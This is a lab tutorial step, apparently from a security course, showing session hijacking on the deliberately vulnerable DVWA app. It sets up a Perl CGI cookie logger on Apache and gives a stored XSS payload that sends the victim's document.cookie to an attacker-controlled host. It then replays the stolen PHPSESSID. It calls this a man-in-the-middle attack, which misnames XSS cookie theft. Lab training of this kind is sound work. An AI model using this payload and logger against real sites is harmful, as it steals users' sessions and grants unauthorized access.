In this step, you will learn how to perform a man-in-the-middle (MITM) attack using a stored XSS vulnerability.
- Inside the Kali container, download the provided Perl script for capturing cookies by running the following command:
wget https://labfile.oss-internal.aliyuncs.com/courses/717/logit.pl.TXT
- Move the script to the
/usr/lib/cgi-bin
directory and remove the .TXT
extension:
mv logit.pl.TXT /usr/lib/cgi-bin/logit.pl
cd /usr/lib/cgi-bin/
- Change the owner and permissions of the script:
chown www-data:www-data logit.pl
chmod 700 logit.pl
-
Modify the Apache configuration file (/etc/apache2/apache2.conf
) to enable the execution of CGI scripts in the /usr/lib/cgi-bin
directory.
-
Create a directory for storing the captured cookies:
mkdir -p /var/www/logdir
chown www-data:www-data /var/www/logdir
chmod 700 /var/www/logdir
- Enable the CGI module for Apache by running the following command:
a2enmod cgi
- Start the Apache service:
service apache2 start
-
Verify that the CGI script is working by visiting http://172.17.0.2/cgi-bin/logit.pl
in your browser.
-
In the DVWA "XSS Stored" page, enter the following code in the "Message" field (make sure to increase the character limit if needed):
<script>
document.location = "http://172.17.0.2/cgi-bin/logit.pl?" + document.cookie;
</script>
- Click the "Sign Guestbook" button to submit the message.
You should be redirected to the logit.pl
script, which will capture your browser's cookie and store it in the /var/www/logdir/log.txt
file.
-
Install the "Cookie Quick Manager" extension in Firefox and restart the browser.
-
Open the Cookie Quick Manager extension and replace the PHPSESSID
cookie value with the one you captured in the previous step.
-
Visit http://192.168.122.102/dvwa/index.php
, and you should be logged in to the DVWA application without entering any credentials.
This demonstrates a successful man-in-the-middle attack, where the attacker can hijack a user's session and gain unauthorized access to the application by capturing and replaying the user's cookie.